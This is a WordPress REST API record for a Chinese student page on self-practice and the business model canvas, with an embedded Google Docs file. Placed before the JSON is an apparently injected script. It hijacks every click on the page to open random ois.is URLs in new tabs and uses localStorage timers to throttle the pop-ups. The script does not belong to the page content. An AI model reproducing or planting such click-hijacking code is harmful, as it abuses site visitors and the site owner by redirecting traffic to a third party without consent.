<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":79,"date":"2014-01-27T00:55:00","date_gmt":"2014-01-26T16:55:00","guid":{"rendered":"http:\/\/210.61.8.31\/wenft_student\/?page_id=79"},"modified":"2015-07-31T00:42:17","modified_gmt":"2015-07-30T16:42:17","slug":"%e8%87%aa%e6%88%91%e5%af%a6%e8%b8%90","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/scu8154128\/?page_id=79","title":{"rendered":"\u81ea\u6211\u5be6\u8e10"},"content":{"rendered":"<h3><strong>\u4e3b\u984c\uff1a<\/strong><\/h3>\n<p style=\"padding-left: 30px;\"><span style=\"font-size: 14pt;\">\u8a8d\u8b58\u5546\u696d\u6a21\u5f0f\u756b\u5e03<\/span><br \/>\n<span style=\"font-size: 14pt;\">\u500b\u4eba\u76ee\u6a19\u898f\u5283 \uff5e \u61c9\u7528\u5546\u696d\u756b\u5e03<\/span><br \/>\n<span style=\"font-size: 14pt;\">\u81ea\u6211\u5be6\u8e10 \uff5e \u958b\u59cb\u9032\u884c\u61c9\u7528<\/span><\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/docs.google.com\/file\/d\/0BwQEoMXzNQVOekRZOHo4WTFUd3M\/preview\" height=\"1000\" width=\"740\"><\/iframe><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e3b\u984c\uff1a \u8a8d\u8b58\u5546\u696d\u6a21\u5f0f\u756b\u5e03 \u500b\u4eba\u76ee\u6a19\u898f\u5283 \uff5e \u61c9\u7528\u5546\u696d\u756b\u5e03 \u81ea\u6211\u5be6\u8e10 \uff5e \u958b\u59cb\u9032\u884c<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":813,"menu_order":1,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/pages\/79"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=79"}],"version-history":[{"count":11,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/pages\/79\/revisions"}],"predecessor-version":[{"id":708,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/pages\/79\/revisions\/708"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/pages\/813"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=79"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}